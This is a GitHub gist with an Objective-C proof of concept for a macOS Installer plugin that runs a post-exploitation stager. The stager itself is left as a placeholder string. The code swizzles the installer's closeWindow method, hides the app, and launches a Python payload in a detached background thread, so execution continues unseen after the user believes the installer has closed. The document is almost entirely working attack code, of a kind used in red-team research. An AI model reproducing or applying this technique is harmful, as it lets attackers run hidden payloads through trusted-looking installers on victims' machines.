Create a gist now

Instantly share code, notes, and snippets.

Embed
Empire Payload Execution w/ Installer Plugin PoC
//
// launcher.m
// launcher
//
// Created by Chris Ross on 2/1/18.
// Copyright © 2018 Void. All rights reserved.
//
#import "MyInstallerPane.h"
#import <Python/Python.h>
#import <locale.h>
#import <Cocoa/Cocoa.h>
#import <wchar.h>
#import <string.h>
#import <stdlib.h>
#import <objc/runtime.h>
#include <wchar.h>
#include <assert.h>
#include <pthread.h>
void* runPayload()
{
//Malicious logic to execute an empire stager or load a dylib from memory here:
NSString *pyCommand = @"EMPIRE PYTHON STAGER HERE";
const char *command = [pyCommand cStringUsingEncoding:NSASCIIStringEncoding];
setlocale(LC_ALL, "en_US.URF-8");
Py_Initialize();
PyRun_SimpleString(command);
Py_Finalize();
return 0;
}
// This function will replace the closeWindow method for the InstallerSection class
void __Swizzle_closeWindow(id arg1) {
// Remove the main window from the screen
NSApplication *currApp = [NSApplication sharedApplication];
[currApp hide:nil];
[currApp setActivationPolicy:NSApplicationActivationPolicyAccessory];
// Need to launch the payload in a background thread or else the application will halt
pthread_attr_t attr;
pthread_t posixThreadID;
int returnVal;
returnVal = pthread_attr_init(&attr);
assert(!returnVal);
returnVal = pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
assert(!returnVal);
int threadError = pthread_create(&posixThreadID, &attr, &runPayload, NULL);
}
@implementation MyInstallerPane
- (NSString *)title
{
return [[NSBundle bundleForClass:[self class]] localizedStringForKey:@"PaneTitle" value:nil table:nil];
}
- (void)didEnterPane:(InstallerSectionDirection)dir {
//Swizzle the method here.
//https://stackoverflow.com/questions/30044366/method-swizzling-for-protocols/30044435
SEL selector = @selector(closeWindow:);
IMP code = (IMP)__Swizzle_closeWindow;
Protocol *proto = objc_getProtocol("InstallerSectionController");
// Get the class list
int classesCount = objc_getClassList ( NULL, 0 );
Class *classes = (Class *)malloc( classesCount * sizeof(Class));
objc_getClassList( classes, classesCount );
// For every class
for (int classIndex = 0; classIndex < classesCount; classIndex++) {
Class cls = classes[classIndex];
Class conformingClass = cls;
while (conformingClass != Nil) {
if (class_conformsToProtocol(conformingClass, proto)) {
break;
}
conformingClass = class_getSuperclass(conformingClass);
}
if (conformingClass != Nil) {
unsigned int methodsCount;
Method *methods = class_copyMethodList(cls, &methodsCount);
for (int methodIndex = 0; methodIndex < methodsCount; methodIndex++) {
if (selector == method_getName(methods[methodIndex])) {
//swizzle
IMP originalMethod = method_setImplementation(methods[methodIndex], code);
}
}
}
}
}
- (void) willEnterPane:(InstallerSectionDirection)dir {
}
- (BOOL)shouldExitPane:(InstallerSectionDirection)dir
{
return YES;
}
@end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment